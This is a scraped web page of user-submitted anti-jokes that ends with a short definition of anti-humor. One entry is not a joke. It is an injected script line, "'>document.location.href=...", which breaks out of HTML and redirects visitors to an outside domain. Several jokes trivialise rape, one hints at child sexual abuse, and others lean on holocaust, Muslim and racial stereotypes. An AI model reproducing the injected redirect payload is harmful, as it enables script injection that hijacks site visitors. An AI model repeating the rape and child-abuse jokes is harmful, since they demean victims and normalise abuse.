What was Hitlers first toy? An easy back oven.

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TOYS TOYS TOYS IN THE ATTIC

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Someone asked me "What rhymes with Orange?" I replied "Door hinge." He punched me.

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Knock knock. ... ... *after waiting 30 seconds or so to no answer, the knocker concludes there is no one home and decides to go home to take his son to soccer practice and work on his taxes, and maybe call his mother to see how her foot surgery went* Who's there? Oh.. This is awkward, I forgot why I was here in the first place. I have to go. Bye.

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what do call a car full of people on the side of the road? a cool explosion waiting to happen

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"'>document.location.href="http://cramik.org"

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What did Batman say to Robin before they got in the Batmobile? Get in the Batmobile.

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"Where are my shoes?" asked the man. "On your feet," I replied. "You are a paraplegic and have no feeling from the waist down."

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How many easily offended people does it take to change a light bulb? Shut up, that's not funny!

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A blonde, brunette, and red-head were on a deserted island. The blonde said, "in thirty years or so, we'll all have gray hair."

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Ask me if I'm well Are you well? No

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Children + my basement + my finger = yes

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A muslim walks onto a plane. He goes to 13C as that is his seat designated on his ticket.

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Whats worse than finding a worm in your apple? The holocaust. Whats worse than the holocaust? Getting your balls chopped off by a maniac on LSD.

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You're walking down a street and you see a man struggling to open a door, what do you do? Whatever you feel like doing.

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chuck norris won the world series of poker using his superior knowledge of counting cards and calculating probability.

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your mom is so ugly that she was made fun of in highschool so much that she now has social issues and a fear of close relationships which is why she left you and your father at age 5

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What did the Triceratops get for his birthday? Nothing. Dinosaurs are extinct.

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How do you drown a blonde? Weigh her down and throw her into a body of water.

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how does wasabi stay open during summer because tiffany is a nice person

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whats worse than getting raped by ben rothlesburger well rape-victims claim that rape has ruined their lives and most of them go into deep depression and need therapy so maybe the only worse thing is getting raped again by kobe ---sticksack

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if you have two gay people, would their kid be gay too? oh wait....

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A duck walks into a store and asks the clerk, "do you have any grapes?" The clerk says no, and the duck leaves. The next day, the same duck walks back into the store, and asks the clerk if they have any grapes. The clerk, slightly annoyed, says no again, and the duck leaves. The next day, the duck walks back in and asks again if they have any grapes. The pissed off clerk says, "No, and if you ask again i'm gonna nail your feet to the floor. The duck leaves. The next day, the duck walks back into the store, and this time he asks the clerk, "do you have any nails?" The clerk says, "Yes." The Duck leaves.

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A man, John, is talking amongst a group of friends. He tells a racist joke and sees that one of his colored friends, Mark, is laughing at his joke, but John can tell that Mark's offended. John later apologizes to his friend because that is the right thing to do.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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